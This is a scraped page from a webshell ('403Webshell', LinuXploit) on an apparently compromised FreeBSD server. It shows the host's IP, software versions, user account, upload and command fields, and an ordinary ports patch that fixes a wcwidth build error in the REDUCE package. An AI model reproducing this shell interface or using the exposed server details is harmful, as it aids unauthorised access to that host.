403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/math/reduce/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/math/reduce/files/patch-generic_newfront_redfront.h
- fix of this failure on arm64:
-
- In file included from /wrkdirs/usr/ports/math/reduce/work/Reduce-svn6339-src/generic/newfront/redchild.c:31:
- /wrkdirs/usr/ports/math/reduce/work/Reduce-svn6339-src/generic/newfront/redfront.h:118:12: error: conflicting types for '__wcwidth'
- extern int wcwidth(wchar_t c);
-            ^
- /usr/include/wchar.h:213:21: note: expanded from macro 'wcwidth'
- #define wcwidth(_c)     __wcwidth(_c)
-                         ^
- /usr/include/_ctype.h:161:1: note: previous definition is here
- __wcwidth(__ct_rune_t _c)
- ^
- 1 error generated.

--- generic/newfront/redfront.h.orig	2021-03-16 10:41:22 UTC
+++ generic/newfront/redfront.h
@@ -115,7 +115,9 @@ typedef void (*sig_t)(int);
  */
 #ifndef NATIVE_WINDOWS
 #include "sys.h"
+#  if !defined(__FreeBSD__)
 extern int wcwidth(wchar_t c);
+#  endif
 #include "chartype.h"
 #endif
 

Youez - 2016 - github.com/yon3zu
LinuXploit